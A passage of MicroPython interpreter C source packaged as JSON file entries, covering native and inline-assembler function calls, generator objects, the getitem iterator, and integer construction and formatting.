{\n        ret = ((viper_fun_1_t)fun)(mp_convert_obj_to_native(args[0], self->type_sig >> 4));\n    } else if (n_args == 2) {\n        ret = ((viper_fun_2_t)fun)(mp_convert_obj_to_native(args[0], self->type_sig >> 4), mp_convert_obj_to_native(args[1], self->type_sig >> 8));\n    } else if (n_args == 3) {\n        ret = ((viper_fun_3_t)fun)(mp_convert_obj_to_native(args[0], self->type_sig >> 4), mp_convert_obj_to_native(args[1], self->type_sig >> 8), mp_convert_obj_to_native(args[2], self->type_sig >> 12));\n    } else {\n        // compiler allows at most 4 arguments\n        assert(n_args == 4);\n        ret = ((viper_fun_4_t)fun)(\n            mp_convert_obj_to_native(args[0], self->type_sig >> 4),\n            mp_convert_obj_to_native(args[1], self->type_sig >> 8),\n            mp_convert_obj_to_native(args[2], self->type_sig >> 12),\n            mp_convert_obj_to_native(args[3], self->type_sig >> 16)\n        );\n    }\n\n    return mp_convert_native_to_obj(ret, self->type_sig);\n}\n\nSTATIC const mp_obj_type_t mp_type_fun_viper = {\n    { &mp_type_type },\n    .name = MP_QSTR_function,\n    .call = fun_viper_call,\n    .unary_op = mp_generic_unary_op,\n};\n\nmp_obj_t mp_obj_new_fun_viper(size_t n_args, void *fun_data, mp_uint_t type_sig) {\n    mp_obj_fun_viper_t *o = m_new_obj(mp_obj_fun_viper_t);\n    o->base.type = &mp_type_fun_viper;\n    o->n_args = n_args;\n    o->fun_data = fun_data;\n    o->type_sig = type_sig;\n    return o;\n}\n\n#endif // MICROPY_EMIT_NATIVE\n\n/******************************************************************************/\n/* inline assembler functions                                                 */\n\n#if MICROPY_EMIT_INLINE_ASM\n\ntypedef struct _mp_obj_fun_asm_t {\n    mp_obj_base_t base;\n    size_t n_args;\n    void *fun_data; // GC must be able to trace this pointer\n    mp_uint_t type_sig;\n} mp_obj_fun_asm_t;\n\ntypedef mp_uint_t (*inline_asm_fun_0_t)(void);\ntypedef mp_uint_t (*inline_asm_fun_1_t)(mp_uint_t);\ntypedef mp_uint_t (*inline_asm_fun_2_t)(mp_uint_t, mp_uint_t);\ntypedef mp_uint_t (*inline_asm_fun_3_t)(mp_uint_t, mp_uint_t, mp_uint_t);\ntypedef mp_uint_t (*inline_asm_fun_4_t)(mp_uint_t, mp_uint_t, mp_uint_t, mp_uint_t);\n\n// convert a MicroPython object to a sensible value for inline asm\nSTATIC mp_uint_t convert_obj_for_inline_asm(mp_obj_t obj) {\n    // TODO for byte_array, pass pointer to the array\n    if (MP_OBJ_IS_SMALL_INT(obj)) {\n        return MP_OBJ_SMALL_INT_VALUE(obj);\n    } else if (obj == mp_const_none) {\n        return 0;\n    } else if (obj == mp_const_false) {\n        return 0;\n    } else if (obj == mp_const_true) {\n        return 1;\n    } else if (MP_OBJ_IS_TYPE(obj, &mp_type_int)) {\n        return mp_obj_int_get_truncated(obj);\n    } else if (MP_OBJ_IS_STR(obj)) {\n        // pointer to the string (it's probably constant though!)\n        size_t l;\n        return (mp_uint_t)mp_obj_str_get_data(obj, &l);\n    } else {\n        mp_obj_type_t *type = mp_obj_get_type(obj);\n        if (0) {\n#if MICROPY_PY_BUILTINS_FLOAT\n        } else if (type == &mp_type_float) {\n            // convert float to int (could also pass in float registers)\n            return (mp_int_t)mp_obj_float_get(obj);\n#endif\n        } else if (type == &mp_type_tuple || type == &mp_type_list) {\n            // pointer to start of tuple (could pass length, but then could use len(x) for that)\n            size_t len;\n            mp_obj_t *items;\n            mp_obj_get_array(obj, &len, &items);\n            return (mp_uint_t)items;\n        } else {\n            mp_buffer_info_t bufinfo;\n            if (mp_get_buffer(obj, &bufinfo, MP_BUFFER_WRITE)) {\n                // supports the buffer protocol, return a pointer to the data\n                return (mp_uint_t)bufinfo.buf;\n            } else {\n                // just pass along a pointer to the object\n                return (mp_uint_t)obj;\n            }\n        }\n    }\n}\n\nSTATIC mp_obj_t fun_asm_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    mp_obj_fun_asm_t *self = self_in;\n\n    mp_arg_check_num(n_args, n_kw, self->n_args, self->n_args, false);\n\n    void *fun = MICROPY_MAKE_POINTER_CALLABLE(self->fun_data);\n\n    mp_uint_t ret;\n    if (n_args == 0) {\n        ret = ((inline_asm_fun_0_t)fun)();\n    } else if (n_args == 1) {\n        ret = ((inline_asm_fun_1_t)fun)(convert_obj_for_inline_asm(args[0]));\n    } else if (n_args == 2) {\n        ret = ((inline_asm_fun_2_t)fun)(convert_obj_for_inline_asm(args[0]), convert_obj_for_inline_asm(args[1]));\n    } else if (n_args == 3) {\n        ret = ((inline_asm_fun_3_t)fun)(convert_obj_for_inline_asm(args[0]), convert_obj_for_inline_asm(args[1]), convert_obj_for_inline_asm(args[2]));\n    } else {\n        // compiler allows at most 4 arguments\n        assert(n_args == 4);\n        ret = ((inline_asm_fun_4_t)fun)(\n            convert_obj_for_inline_asm(args[0]),\n            convert_obj_for_inline_asm(args[1]),\n            convert_obj_for_inline_asm(args[2]),\n            convert_obj_for_inline_asm(args[3])\n        );\n    }\n\n    return mp_convert_native_to_obj(ret, self->type_sig);\n}\n\nSTATIC const mp_obj_type_t mp_type_fun_asm = {\n    { &mp_type_type },\n    .name = MP_QSTR_function,\n    .call = fun_asm_call,\n    .unary_op = mp_generic_unary_op,\n};\n\nmp_obj_t mp_obj_new_fun_asm(size_t n_args, void *fun_data, mp_uint_t type_sig) {\n    mp_obj_fun_asm_t *o = m_new_obj(mp_obj_fun_asm_t);\n    o->base.type = &mp_type_fun_asm;\n    o->n_args = n_args;\n    o->fun_data = fun_data;\n    o->type_sig = type_sig;\n    return o;\n}\n\n#endif // MICROPY_EMIT_INLINE_ASM\n"
  },
  {
    "path": "micropython/source/py/objgenerator.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n * Copyright (c) 2014 Paul Sokolovsky\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdlib.h>\n#include <assert.h>\n\n#include \"py/nlr.h\"\n#include \"py/obj.h\"\n#include \"py/runtime.h\"\n#include \"py/bc.h\"\n#include \"py/objgenerator.h\"\n#include \"py/objfun.h\"\n\n/******************************************************************************/\n/* generator wrapper                                                          */\n\ntypedef struct _mp_obj_gen_wrap_t {\n    mp_obj_base_t base;\n    mp_obj_t *fun;\n} mp_obj_gen_wrap_t;\n\ntypedef struct _mp_obj_gen_instance_t {\n    mp_obj_base_t base;\n    mp_obj_dict_t *globals;\n    mp_code_state_t code_state;\n} mp_obj_gen_instance_t;\n\nSTATIC mp_obj_t gen_wrap_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    mp_obj_gen_wrap_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_obj_fun_bc_t *self_fun = (mp_obj_fun_bc_t*)self->fun;\n    assert(self_fun->base.type == &mp_type_fun_bc);\n\n    // bytecode prelude: get state size and exception stack size\n    size_t n_state = mp_decode_uint_value(self_fun->bytecode);\n    size_t n_exc_stack = mp_decode_uint_value(mp_decode_uint_skip(self_fun->bytecode));\n\n    // allocate the generator object, with room for local stack and exception stack\n    mp_obj_gen_instance_t *o = m_new_obj_var(mp_obj_gen_instance_t, byte,\n        n_state * sizeof(mp_obj_t) + n_exc_stack * sizeof(mp_exc_stack_t));\n    o->base.type = &mp_type_gen_instance;\n\n    o->globals = self_fun->globals;\n    o->code_state.fun_bc = self_fun;\n    o->code_state.ip = 0;\n    mp_setup_code_state(&o->code_state, n_args, n_kw, args);\n    return MP_OBJ_FROM_PTR(o);\n}\n\nconst mp_obj_type_t mp_type_gen_wrap = {\n    { &mp_type_type },\n    .name = MP_QSTR_generator,\n    .call = gen_wrap_call,\n    .unary_op = mp_generic_unary_op,\n};\n\nmp_obj_t mp_obj_new_gen_wrap(mp_obj_t fun) {\n    mp_obj_gen_wrap_t *o = m_new_obj(mp_obj_gen_wrap_t);\n    o->base.type = &mp_type_gen_wrap;\n    o->fun = MP_OBJ_TO_PTR(fun);\n    return MP_OBJ_FROM_PTR(o);\n}\n\n/******************************************************************************/\n/* generator instance                                                         */\n\nSTATIC void gen_instance_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) {\n    (void)kind;\n    mp_obj_gen_instance_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_printf(print, \"<generator object '%q' at %p>\", mp_obj_fun_get_name(MP_OBJ_FROM_PTR(self->code_state.fun_bc)), self);\n}\n\nmp_vm_return_kind_t mp_obj_gen_resume(mp_obj_t self_in, mp_obj_t send_value, mp_obj_t throw_value, mp_obj_t *ret_val) {\n    mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_gen_instance));\n    mp_obj_gen_instance_t *self = MP_OBJ_TO_PTR(self_in);\n    if (self->code_state.ip == 0) {\n        // Trying to resume already stopped generator\n        *ret_val = MP_OBJ_STOP_ITERATION;\n        return MP_VM_RETURN_NORMAL;\n    }\n    if (self->code_state.sp == self->code_state.state - 1) {\n        if (send_value != mp_const_none) {\n            mp_raise_TypeError(\"can't send non-None value to a just-started generator\");\n        }\n    } else {\n        *self->code_state.sp = send_value;\n    }\n    mp_obj_dict_t *old_globals = mp_globals_get();\n    mp_globals_set(self->globals);\n    mp_vm_return_kind_t ret_kind = mp_execute_bytecode(&self->code_state, throw_value);\n    mp_globals_set(old_globals);\n\n    switch (ret_kind) {\n        case MP_VM_RETURN_NORMAL:\n        default:\n            // Explicitly mark generator as completed. If we don't do this,\n            // subsequent next() may re-execute statements after last yield\n            // again and again, leading to side effects.\n            // TODO: check how return with value behaves under such conditions\n            // in CPython.\n            self->code_state.ip = 0;\n            *ret_val = *self->code_state.sp;\n            break;\n\n        case MP_VM_RETURN_YIELD:\n            *ret_val = *self->code_state.sp;\n            if (*ret_val == MP_OBJ_STOP_ITERATION) {\n                self->code_state.ip = 0;\n            }\n            break;\n\n        case MP_VM_RETURN_EXCEPTION: {\n            size_t n_state = mp_decode_uint_value(self->code_state.fun_bc->bytecode);\n            self->code_state.ip = 0;\n            *ret_val = self->code_state.state[n_state - 1];\n            break;\n        }\n    }\n\n    return ret_kind;\n}\n\nSTATIC mp_obj_t gen_resume_and_raise(mp_obj_t self_in, mp_obj_t send_value, mp_obj_t throw_value) {\n    mp_obj_t ret;\n    switch (mp_obj_gen_resume(self_in, send_value, throw_value, &ret)) {\n        case MP_VM_RETURN_NORMAL:\n        default:\n            // Optimize return w/o value in case generator is used in for loop\n            if (ret == mp_const_none || ret == MP_OBJ_STOP_ITERATION) {\n                return MP_OBJ_STOP_ITERATION;\n            } else {\n                nlr_raise(mp_obj_new_exception_args(&mp_type_StopIteration, 1, &ret));\n            }\n\n        case MP_VM_RETURN_YIELD:\n            return ret;\n\n        case MP_VM_RETURN_EXCEPTION:\n            // TODO: Optimization of returning MP_OBJ_STOP_ITERATION is really part\n            // of mp_iternext() protocol, but this function is called by other methods\n            // too, which may not handled MP_OBJ_STOP_ITERATION.\n            if (mp_obj_is_subclass_fast(MP_OBJ_FROM_PTR(mp_obj_get_type(ret)), MP_OBJ_FROM_PTR(&mp_type_StopIteration))) {\n                mp_obj_t val = mp_obj_exception_get_value(ret);\n                if (val == mp_const_none) {\n                    return MP_OBJ_STOP_ITERATION;\n                }\n            }\n            nlr_raise(ret);\n    }\n}\n\nSTATIC mp_obj_t gen_instance_iternext(mp_obj_t self_in) {\n    return gen_resume_and_raise(self_in, mp_const_none, MP_OBJ_NULL);\n}\n\nSTATIC mp_obj_t gen_instance_send(mp_obj_t self_in, mp_obj_t send_value) {\n    mp_obj_t ret = gen_resume_and_raise(self_in, send_value, MP_OBJ_NULL);\n    if (ret == MP_OBJ_STOP_ITERATION) {\n        nlr_raise(mp_obj_new_exception(&mp_type_StopIteration));\n    } else {\n        return ret;\n    }\n}\n\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(gen_instance_send_obj, gen_instance_send);\n\nSTATIC mp_obj_t gen_instance_close(mp_obj_t self_in);\nSTATIC mp_obj_t gen_instance_throw(size_t n_args, const mp_obj_t *args) {\n    mp_obj_t exc = (n_args == 2) ? args[1] : args[2];\n\n    mp_obj_t ret = gen_resume_and_raise(args[0], mp_const_none, exc);\n    if (ret == MP_OBJ_STOP_ITERATION) {\n        nlr_raise(mp_obj_new_exception(&mp_type_StopIteration));\n    } else {\n        return ret;\n    }\n}\n\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(gen_instance_throw_obj, 2, 4, gen_instance_throw);\n\nSTATIC mp_obj_t gen_instance_close(mp_obj_t self_in) {\n    mp_obj_t ret;\n    switch (mp_obj_gen_resume(self_in, mp_const_none, MP_OBJ_FROM_PTR(&mp_const_GeneratorExit_obj), &ret)) {\n        case MP_VM_RETURN_YIELD:\n            mp_raise_msg(&mp_type_RuntimeError, \"generator ignored GeneratorExit\");\n\n        // Swallow StopIteration & GeneratorExit (== successful close), and re-raise any other\n        case MP_VM_RETURN_EXCEPTION:\n            // ret should always be an instance of an exception class\n            if (mp_obj_is_subclass_fast(MP_OBJ_FROM_PTR(mp_obj_get_type(ret)), MP_OBJ_FROM_PTR(&mp_type_GeneratorExit)) ||\n                mp_obj_is_subclass_fast(MP_OBJ_FROM_PTR(mp_obj_get_type(ret)), MP_OBJ_FROM_PTR(&mp_type_StopIteration))) {\n                return mp_const_none;\n            }\n            nlr_raise(ret);\n\n        default:\n            // The only choice left is MP_VM_RETURN_NORMAL which is successful close\n            return mp_const_none;\n    }\n}\n\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(gen_instance_close_obj, gen_instance_close);\n\nSTATIC const mp_rom_map_elem_t gen_instance_locals_dict_table[] = {\n    { MP_ROM_QSTR(MP_QSTR_close), MP_ROM_PTR(&gen_instance_close_obj) },\n    { MP_ROM_QSTR(MP_QSTR_send), MP_ROM_PTR(&gen_instance_send_obj) },\n    { MP_ROM_QSTR(MP_QSTR_throw), MP_ROM_PTR(&gen_instance_throw_obj) },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(gen_instance_locals_dict, gen_instance_locals_dict_table);\n\nconst mp_obj_type_t mp_type_gen_instance = {\n    { &mp_type_type },\n    .name = MP_QSTR_generator,\n    .print = gen_instance_print,\n    .unary_op = mp_generic_unary_op,\n    .getiter = mp_identity_getiter,\n    .iternext = gen_instance_iternext,\n    .locals_dict = (mp_obj_dict_t*)&gen_instance_locals_dict,\n};\n"
  },
  {
    "path": "micropython/source/py/objgetitemiter.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdlib.h>\n\n#include \"py/nlr.h\"\n#include \"py/runtime.h\"\n\n// this is a wrapper object that turns something that has a __getitem__ method into an iterator\n\ntypedef struct _mp_obj_getitem_iter_t {\n    mp_obj_base_t base;\n    mp_obj_t args[3];\n} mp_obj_getitem_iter_t;\n\nSTATIC mp_obj_t it_iternext(mp_obj_t self_in) {\n    mp_obj_getitem_iter_t *self = MP_OBJ_TO_PTR(self_in);\n    nlr_buf_t nlr;\n    if (nlr_push(&nlr) == 0) {\n        // try to get next item\n        mp_obj_t value = mp_call_method_n_kw(1, 0, self->args);\n        self->args[2] = MP_OBJ_NEW_SMALL_INT(MP_OBJ_SMALL_INT_VALUE(self->args[2]) + 1);\n        nlr_pop();\n        return value;\n    } else {\n        // an exception was raised\n        mp_obj_type_t *t = (mp_obj_type_t*)((mp_obj_base_t*)nlr.ret_val)->type;\n        if (t == &mp_type_StopIteration || t == &mp_type_IndexError) {\n            // return MP_OBJ_STOP_ITERATION instead of raising\n            return MP_OBJ_STOP_ITERATION;\n        } else {\n            // re-raise exception\n            nlr_jump(nlr.ret_val);\n        }\n    }\n}\n\nSTATIC const mp_obj_type_t it_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_iterator,\n    .getiter = mp_identity_getiter,\n    .iternext = it_iternext,\n};\n\n// args are those returned from mp_load_method_maybe (ie either an attribute or a method)\nmp_obj_t mp_obj_new_getitem_iter(mp_obj_t *args, mp_obj_iter_buf_t *iter_buf) {\n    assert(sizeof(mp_obj_getitem_iter_t) <= sizeof(mp_obj_iter_buf_t));\n    mp_obj_getitem_iter_t *o = (mp_obj_getitem_iter_t*)iter_buf;\n    o->base.type = &it_type;\n    o->args[0] = args[0];\n    o->args[1] = args[1];\n    o->args[2] = MP_OBJ_NEW_SMALL_INT(0);\n    return MP_OBJ_FROM_PTR(o);\n}\n"
  },
  {
    "path": "micropython/source/py/objint.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdlib.h>\n#include <assert.h>\n#include <string.h>\n\n#include \"py/nlr.h\"\n#include \"py/parsenum.h\"\n#include \"py/smallint.h\"\n#include \"py/objint.h\"\n#include \"py/objstr.h\"\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n#include \"py/binary.h\"\n\n#if MICROPY_PY_BUILTINS_FLOAT\n#include <math.h>\n#endif\n\n// This dispatcher function is expected to be independent of the implementation of long int\nSTATIC mp_obj_t mp_obj_int_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    (void)type_in;\n    mp_arg_check_num(n_args, n_kw, 0, 2, false);\n\n    switch (n_args) {\n        case 0:\n            return MP_OBJ_NEW_SMALL_INT(0);\n\n        case 1:\n            if (MP_OBJ_IS_INT(args[0])) {\n                // already an int (small or long), just return it\n                return args[0];\n            } else if (MP_OBJ_IS_STR_OR_BYTES(args[0])) {\n                // a string, parse it\n                size_t l;\n                const char *s = mp_obj_str_get_data(args[0], &l);\n                return mp_parse_num_integer(s, l, 0, NULL);\n#if MICROPY_PY_BUILTINS_FLOAT\n            } else if (mp_obj_is_float(args[0])) {\n                return mp_obj_new_int_from_float(mp_obj_float_get(args[0]));\n#endif\n            } else {\n                // try to convert to small int (eg from bool)\n                return MP_OBJ_NEW_SMALL_INT(mp_obj_get_int(args[0]));\n            }\n\n        case 2:\n        default: {\n            // should be a string, parse it\n            // TODO proper error checking of argument types\n            size_t l;\n            const char *s = mp_obj_str_get_data(args[0], &l);\n            return mp_parse_num_integer(s, l, mp_obj_get_int(args[1]), NULL);\n        }\n    }\n}\n\n#if MICROPY_PY_BUILTINS_FLOAT\n\ntypedef enum {\n    MP_FP_CLASS_FIT_SMALLINT,\n    MP_FP_CLASS_FIT_LONGINT,\n    MP_FP_CLASS_OVERFLOW\n} mp_fp_as_int_class_t;\n\nSTATIC mp_fp_as_int_class_t mp_classify_fp_as_int(mp_float_t val) {\n    union {\n        mp_float_t f;\n#if MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_FLOAT\n        uint32_t i;\n#elif MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_DOUBLE\n        uint32_t i[2];\n#endif\n    } u = {val};\n\n    uint32_t e;\n#if MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_FLOAT\n    e = u.i;\n#elif MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_DOUBLE\n    e = u.i[MP_ENDIANNESS_LITTLE];\n#endif\n#define MP_FLOAT_SIGN_SHIFT_I32 ((MP_FLOAT_FRAC_BITS + MP_FLOAT_EXP_BITS) % 32)\n#define MP_FLOAT_EXP_SHIFT_I32 (MP_FLOAT_FRAC_BITS % 32)\n\n    if (e & (1U << MP_FLOAT_SIGN_SHIFT_I32)) {\n#if MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_DOUBLE\n        e |= u.i[MP_ENDIANNESS_BIG] != 0;\n#endif\n        if ((e & ~(1 << MP_FLOAT_SIGN_SHIFT_I32)) == 0) {\n            // handle case of -0 (when sign is set but rest of bits are zero)\n            e = 0;\n        } else {\n            e += ((1 << MP_FLOAT_EXP_BITS) - 1) << MP_FLOAT_EXP_SHIFT_I32;\n        }\n    } else {\n        e &= ~((1 << MP_FLOAT_EXP_SHIFT_I32) - 1);\n    }\n    // 8 * sizeof(uintptr_t) counts the number of bits for a small int\n    // TODO provide a way to configure this properly\n    if (e <= ((8 * sizeof(uintptr_t) + MP_FLOAT_EXP_BIAS - 3) << MP_FLOAT_EXP_SHIFT_I32)) {\n        return MP_FP_CLASS_FIT_SMALLINT;\n    }\n#if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_LONGLONG\n    if (e <= (((sizeof(long long) * BITS_PER_BYTE) + MP_FLOAT_EXP_BIAS - 2) << MP_FLOAT_EXP_SHIFT_I32)) {\n        return MP_FP_CLASS_FIT_LONGINT;\n    }\n#endif\n#if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_MPZ\n    return MP_FP_CLASS_FIT_LONGINT;\n#else\n    return MP_FP_CLASS_OVERFLOW;\n#endif\n}\n#undef MP_FLOAT_SIGN_SHIFT_I32\n#undef MP_FLOAT_EXP_SHIFT_I32\n\nmp_obj_t mp_obj_new_int_from_float(mp_float_t val) {\n    int cl = fpclassify(val);\n    if (cl == FP_INFINITE) {\n        nlr_raise(mp_obj_new_exception_msg(&mp_type_OverflowError, \"can't convert inf to int\"));\n    } else if (cl == FP_NAN) {\n        mp_raise_ValueError(\"can't convert NaN to int\");\n    } else {\n        mp_fp_as_int_class_t icl = mp_classify_fp_as_int(val);\n        if (icl == MP_FP_CLASS_FIT_SMALLINT) {\n            return MP_OBJ_NEW_SMALL_INT((mp_int_t)val);\n        #if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_MPZ\n        } else {\n            mp_obj_int_t *o = mp_obj_int_new_mpz();\n            mpz_set_from_float(&o->mpz, val);\n            return MP_OBJ_FROM_PTR(o);\n        }\n        #else\n        #if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_LONGLONG\n        } else if (icl == MP_FP_CLASS_FIT_LONGINT) {\n            return mp_obj_new_int_from_ll((long long)val);\n        #endif\n        } else {\n            mp_raise_ValueError(\"float too big\");\n        }\n        #endif\n    }\n}\n\n#endif\n\n#if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_LONGLONG\ntypedef mp_longint_impl_t fmt_int_t;\ntypedef unsigned long long fmt_uint_t;\n#else\ntypedef mp_int_t fmt_int_t;\ntypedef mp_uint_t fmt_uint_t;\n#endif\n\nvoid mp_obj_int_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) {\n    (void)kind;\n    // The size of this buffer is rather arbitrary. If it's not large\n    // enough, a dynamic one will be allocated.\n    char stack_buf[sizeof(fmt_int_t) * 4];\n    char *buf = stack_buf;\n    size_t buf_size = sizeof(stack_buf);\n    size_t fmt_size;\n\n    char *str = mp_obj_int_formatted(&buf, &buf_size, &fmt_size, self_in, 10, NULL, '\\0', '\\0');\n    mp_print_str(print, str);\n\n    if (buf != stack_buf) {\n        m_del(char, buf, buf_size);\n    }\n}\n\nSTATIC const uint8_t log_base2_floor[] = {\n    0, 1, 1, 2,\n    2, 2, 2, 3,\n    3, 3, 3, 3,\n    3, 3, 3, 4,\n    /* if needed, these are the values for higher bases\n    4, 4, 4, 4,\n    4, 4, 4, 4,\n    4, 4, 4, 4,\n    4, 4, 4, 5\n    */\n};\n\nsize_t mp_int_format_size(size_t num_bits, int base, const char *prefix, char comma) {\n    assert(2 <= base && base <= 16);\n    size_t num_digits = num_bits / log_base2_floor[base - 1] + 1;\n    size_t num_commas = comma ? num_digits / 3 : 0;\n    size_t prefix_len = prefix ? strlen(prefix) : 0;\n    return num_digits + num_commas + prefix_len + 2; // +1 for sign, +1 for null byte\n}\n\n// This routine expects you to pass in a buffer and size (in *buf and *buf_size).\n// If, for some reason, this buffer is too small, then it will allocate a\n// buffer and return the allocated buffer and size in *buf and *buf_size. It\n// is the callers responsibility to free this allocated buffer.\n//\n// The resulting formatted string will be returned from this function and the\n// formatted size will be in *fmt_size.\nchar *mp_obj_int_formatted(char **buf, size_t *buf_size, size_t *fmt_size, mp_const_obj_t self_in,\n                           int base, const char *prefix, char base_char, char comma) {\n    fmt_int_t num;\n    if (MP_OBJ_IS_SMALL_INT(self_in)) {\n        // A small int; get the integer value to format.\n        num = MP_OBJ_SMALL_INT_VALUE(self_in);\n#if MICROPY_LONGINT_IMPL != MICROPY_LONGINT_IMPL_NONE\n    } else if (MP_OBJ_IS_TYPE(self_in, &mp_type_int)) {\n        // Not a small int.\n#if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_LONGLONG\n        const mp_obj_int_t *self = self_in;\n        // Get the value to format; mp_obj_get_int truncates to mp_int_t.\n        num = self->val;\n#else\n        // Delegate to the implementation for the long int.\n        return mp_obj_int_formatted_impl(buf, buf_size, fmt_size, self_in, base, prefix, base_char, comma);\n#endif\n#endif\n    } else {\n        // Not an int.\n        **buf = '\\0';\n        *fmt_size = 0;\n        return *buf;\n    }\n\n    char sign = '\\0';\n    if (num < 0) {\n        num = -num;\n        sign = '-';\n    }\n\n    size_t needed_size = mp_int_format_size(sizeof(fmt_int_t) * 8, base, prefix, comma);\n    if (needed_size > *buf_size) {\n        *buf = m_new(char, needed_size);\n        *buf_size = needed_size;\n    }\n    char *str = *buf;\n\n    char *b = str + needed_size;\n    *(--b) = '\\0';\n    char *last_comma = b;\n\n    if (num == 0) {\n        *(--b) = '0';\n    } else {\n        do {\n            // The cast to fmt_uint_t is because num is positive and we want unsigned arithmetic\n            int c = (fmt_uint_t)num % base;\n            num = (fmt_uint_t)num / base;\n            if (c >= 10) {\n                c += base_char - 10;\n            } else {\n                c += '0';\n            }\n            *(--b) = c;\n            if (comma && num != 0 && b > str && (last_comma - b) == 3) {\n                *(--b) = comma;\n                last_comma = b;\n            }\n        }\n        while (b > str && num != 0);\n    }\n    if (prefix) {\n        size_t prefix_len = strlen(prefix);\n        char *p = b - prefix_len;\n        if (p > str) {\n            b = p;\n            while (*prefix) {\n                *p++ = *prefix++;\n            }\n        }\n    }\n    if (sign && b > str) {\n        *(--b) = sign;\n    }\n    *fmt_size = *buf + needed_size - b - 1;\n\n    return b;\n}\n\n#if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_NONE\n\nint mp_obj_int_sign(mp_obj_t self_in) {\n    mp_int_t val = mp_obj_get_int(self_in);\n    if (val < 0) {\n        return -1;\n    } else if (val > 0) {\n        return 1;\n    } else {\n        return 0;\n    }\n}\n\n// This must handle int and bool types, and must raise a\n// TypeError if the argument is not integral\nmp_obj_t mp_obj_int_abs(mp_obj_t self_in) {\n    mp_int_t val = mp_obj_get_int(self_in);\n    if (val < 0) {\n        val = -val;\n    